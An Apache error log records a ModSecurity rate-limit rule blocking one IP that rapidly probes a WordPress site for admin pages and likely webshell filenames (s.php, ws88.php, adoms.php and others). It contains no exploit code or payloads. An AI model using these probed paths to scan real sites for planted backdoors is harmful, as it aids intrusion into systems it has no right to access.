[Thu Apr 23 21:54:53.979127 2026] [:error] [pid 64967:tid 64970] [client 51.12.86.96:5751] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeokrYAV4GfOOdX8Qzp42QAAAYE"]
[Thu Apr 23 21:54:54.780498 2026] [:error] [pid 65000:tid 65045] [client 51.12.86.96:5699] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeokrr6vRb9j6psK2ZaeQQAAAgw"]
[Thu Apr 23 21:54:55.481454 2026] [:error] [pid 42972:tid 43033] [client 51.12.86.96:5737] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeokr8OAb-3sOknsk4dJMgAAAFE"]
[Thu Apr 23 21:54:56.026625 2026] [:error] [pid 64998:tid 65011] [client 51.12.86.96:5402] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoksIV5EysYcTLjmwiNigAAAck"]
[Thu Apr 23 21:54:56.603648 2026] [:error] [pid 64998:tid 65012] [client 51.12.86.96:21874] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoksIV5EysYcTLjmwiNjQAAAco"]
[Thu Apr 23 21:54:57.195508 2026] [:error] [pid 65000:tid 65054] [client 51.12.86.96:21762] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoksb6vRb9j6psK2ZaeTAAAAhU"]
[Thu Apr 23 21:54:57.824042 2026] [:error] [pid 65000:tid 65037] [client 51.12.86.96:5725] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeoksb6vRb9j6psK2ZaeVAAAAgQ"]
[Thu Apr 23 21:54:59.381716 2026] [:error] [pid 42972:tid 43023] [client 51.12.86.96:21837] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoks8OAb-3sOknsk4dJOAAAAEc"]
[Thu Apr 23 21:55:00.010420 2026] [:error] [pid 64998:tid 65002] [client 51.12.86.96:6130] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoktIV5EysYcTLjmwiNkwAAAcA"]
[Thu Apr 23 21:55:00.602614 2026] [:error] [pid 64998:tid 65011] [client 51.12.86.96:21829] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoktIV5EysYcTLjmwiNlgAAAck"]
[Thu Apr 23 21:55:01.308410 2026] [:error] [pid 42973:tid 43059] [client 51.12.86.96:21873] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aeoktW6I0QqmmmLTHE0kwAAAAJA"]
[Thu Apr 23 21:55:02.037000 2026] [:error] [pid 64998:tid 65006] [client 51.12.86.96:6095] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoktoV5EysYcTLjmwiNmQAAAcQ"]
[Thu Apr 23 21:55:02.675404 2026] [:error] [pid 65000:tid 65049] [client 51.12.86.96:6096] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoktr6vRb9j6psK2ZaeYQAAAhA"]
[Thu Apr 23 21:55:03.301915 2026] [:error] [pid 42973:tid 43062] [client 51.12.86.96:5732] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeokt26I0QqmmmLTHE0kwwAAAJM"]
[Thu Apr 23 21:55:03.892472 2026] [:error] [pid 42973:tid 43065] [client 51.12.86.96:21851] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeokt26I0QqmmmLTHE0kxgAAAJY"]
[Thu Apr 23 21:55:04.461354 2026] [:error] [pid 42971:tid 42998] [client 51.12.86.96:21821] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeokuDEP2_5RswrH8bEuoAAAAAw"]
[Thu Apr 23 21:55:05.166009 2026] [:error] [pid 59700:tid 59702] [client 51.12.86.96:21799] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeokuZXyGZJFeAIDWtkweAAAAUA"]
[Thu Apr 23 21:55:05.771322 2026] [:error] [pid 25635:tid 25644] [client 51.12.86.96:5707] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeokucRxv6UsgRGKB3I2iwAAAQU"]
[Thu Apr 23 21:55:06.446520 2026] [:error] [pid 42973:tid 43053] [client 51.12.86.96:6119] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeokum6I0QqmmmLTHE0kywAAAIo"]
[Thu Apr 23 21:55:07.276032 2026] [:error] [pid 42972:tid 43022] [client 51.12.86.96:5700] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoku8OAb-3sOknsk4dJPgAAAEY"]
[Thu Apr 23 21:55:07.922979 2026] [:error] [pid 65000:tid 65047] [client 51.12.86.96:21792] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoku76vRb9j6psK2ZaebgAAAg4"]
[Thu Apr 23 21:55:08.570488 2026] [:error] [pid 65000:tid 65057] [client 51.12.86.96:6082] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeokvL6vRb9j6psK2ZaecQAAAhg"]
[Thu Apr 23 21:55:09.279172 2026] [:error] [pid 65000:tid 65032] [client 51.12.86.96:6086] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeokvb6vRb9j6psK2ZaedAAAAgM"]
[Thu Apr 23 21:55:09.834605 2026] [:error] [pid 65000:tid 65041] [client 51.12.86.96:6094] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeokvb6vRb9j6psK2ZaedwAAAgg"]
[Thu Apr 23 21:55:11.077765 2026] [:error] [pid 42973:tid 43045] [client 51.12.86.96:21804] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeokv26I0QqmmmLTHE0k0QAAAII"]
[Thu Apr 23 21:55:11.739105 2026] [:error] [pid 46953:tid 46973] [client 51.12.86.96:21807] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeokv0nlpdHh-P6wKbo-XAAAAlE"]
[Thu Apr 23 21:55:12.343944 2026] [:error] [pid 64998:tid 65017] [client 51.12.86.96:6111] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeokwIV5EysYcTLjmwiNogAAAc8"]
[Thu Apr 23 21:55:12.944892 2026] [:error] [pid 64998:tid 65019] [client 51.12.86.96:6088] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeokwIV5EysYcTLjmwiNowAAAdE"]
[Thu Apr 23 21:55:13.598300 2026] [:error] [pid 46953:tid 46960] [client 51.12.86.96:5710] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeokwUnlpdHh-P6wKbo-XQAAAkQ"]
[Thu Apr 23 21:55:14.492621 2026] [proxy_fcgi:error] [pid 65000:tid 65029] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:14.760635 2026] [proxy_fcgi:error] [pid 65000:tid 65042] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:15.031431 2026] [proxy_fcgi:error] [pid 65000:tid 65030] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:15.300780 2026] [proxy_fcgi:error] [pid 65000:tid 65051] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:15.566703 2026] [proxy_fcgi:error] [pid 65000:tid 65039] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:15.832415 2026] [proxy_fcgi:error] [pid 65000:tid 65031] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:16.101072 2026] [proxy_fcgi:error] [pid 65000:tid 65038] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:16.369702 2026] [proxy_fcgi:error] [pid 65000:tid 65047] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:16.636252 2026] [proxy_fcgi:error] [pid 65000:tid 65057] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:16.903526 2026] [proxy_fcgi:error] [pid 65000:tid 65045] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:17.171834 2026] [proxy_fcgi:error] [pid 65000:tid 65032] [client 51.12.86.96:21800] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:55:17.435064 2026] [:error] [pid 65000:tid 65048] [client 51.12.86.96:21800] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeokxb6vRb9j6psK2ZaemAAAAg8"]
[Thu Apr 23 21:55:17.991180 2026] [:error] [pid 59700:tid 59710] [client 51.12.86.96:21801] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeokxZXyGZJFeAIDWtkwgAAAAUg"]
[Thu Apr 23 21:55:18.607691 2026] [:error] [pid 42973:tid 43057] [client 51.12.86.96:6084] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeokxm6I0QqmmmLTHE0k2gAAAI4"]
[Thu Apr 23 21:55:19.168939 2026] [:error] [pid 59700:tid 59711] [client 51.12.86.96:5737] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aeokx5XyGZJFeAIDWtkwhQAAAUk"]
[Thu Apr 23 21:55:19.789950 2026] [:error] [pid 64998:tid 65010] [client 51.12.86.96:5718] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeokx4V5EysYcTLjmwiNtQAAAcg"]
[Thu Apr 23 21:55:20.448935 2026] [:error] [pid 42971:tid 42990] [client 51.12.86.96:5719] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeokyDEP2_5RswrH8bEupwAAAAQ"]
[Thu Apr 23 21:55:20.978347 2026] [:error] [pid 64998:tid 65014] [client 51.12.86.96:21881] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeokyIV5EysYcTLjmwiNvQAAAcw"]
[Thu Apr 23 21:55:21.503616 2026] [:error] [pid 25635:tid 25648] [client 51.12.86.96:6124] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-block.php"] [unique_id "aeokycRxv6UsgRGKB3I2jQAAAQk"]
[Thu Apr 23 21:55:22.198087 2026] [:error] [pid 42972:tid 43026] [client 51.12.86.96:6114] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeokysOAb-3sOknsk4dJWAAAAEo"]
[Thu Apr 23 21:55:22.778115 2026] [:error] [pid 65000:tid 65038] [client 51.12.86.96:21856] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeokyr6vRb9j6psK2ZaeqAAAAgU"]
[Thu Apr 23 21:55:23.364446 2026] [:error] [pid 65000:tid 65031] [client 51.12.86.96:5724] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoky76vRb9j6psK2ZaeqwAAAgI"]
[Thu Apr 23 21:55:23.924685 2026] [:error] [pid 42972:tid 43034] [client 51.12.86.96:5703] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws88.php"] [unique_id "aeoky8OAb-3sOknsk4dJXQAAAFI"]
[Thu Apr 23 21:55:24.533708 2026] [:error] [pid 42972:tid 43020] [client 51.12.86.96:5722] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeokzMOAb-3sOknsk4dJXgAAAEQ"]
[Thu Apr 23 21:55:26.230224 2026] [:error] [pid 65000:tid 65055] [client 51.12.86.96:5381] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeokzr6vRb9j6psK2ZaesQAAAhY"]
[Thu Apr 23 21:55:26.948505 2026] [:error] [pid 59700:tid 59717] [client 51.12.86.96:6099] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeokzpXyGZJFeAIDWtkwigAAAU8"]
[Thu Apr 23 21:55:27.516706 2026] [:error] [pid 65000:tid 65030] [client 51.12.86.96:5712] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adoms.php"] [unique_id "aeokz76vRb9j6psK2ZaeswAAAgE"]
[Thu Apr 23 21:55:28.131168 2026] [:error] [pid 65000:tid 65031] [client 51.12.86.96:21806] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeok0L6vRb9j6psK2ZaetgAAAgI"]
[Thu Apr 23 21:55:28.779924 2026] [:error] [pid 64998:tid 65018] [client 51.12.86.96:21864] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeok0IV5EysYcTLjmwiNzgAAAdA"]
[Thu Apr 23 21:55:29.519087 2026] [:error] [pid 42971:tid 42998] [client 51.12.86.96:5702] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeok0TEP2_5RswrH8bEurAAAAAw"]
[Thu Apr 23 21:55:30.099715 2026] [:error] [pid 25635:tid 25643] [client 51.12.86.96:5704] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plugin-editor.php"] [unique_id "aeok0sRxv6UsgRGKB3I2jgAAAQQ"]
[Thu Apr 23 21:55:30.690902 2026] [:error] [pid 25635:tid 25640] [client 51.12.86.96:5727] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeok0sRxv6UsgRGKB3I2jwAAAQE"]
[Thu Apr 23 21:55:31.263518 2026] [:error] [pid 65000:tid 65051] [client 51.12.86.96:5715] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeok076vRb9j6psK2ZaevQAAAhI"]
[Thu Apr 23 21:55:31.932955 2026] [:error] [pid 42971:tid 43009] [client 51.12.86.96:6141] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeok0zEP2_5RswrH8bEurwAAABc"]
[Thu Apr 23 21:55:32.552177 2026] [:error] [pid 64998:tid 65020] [client 51.12.86.96:5709] [client 51.12.86.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "aeok1IV5EysYcTLjmwiN0wAAAdI"]
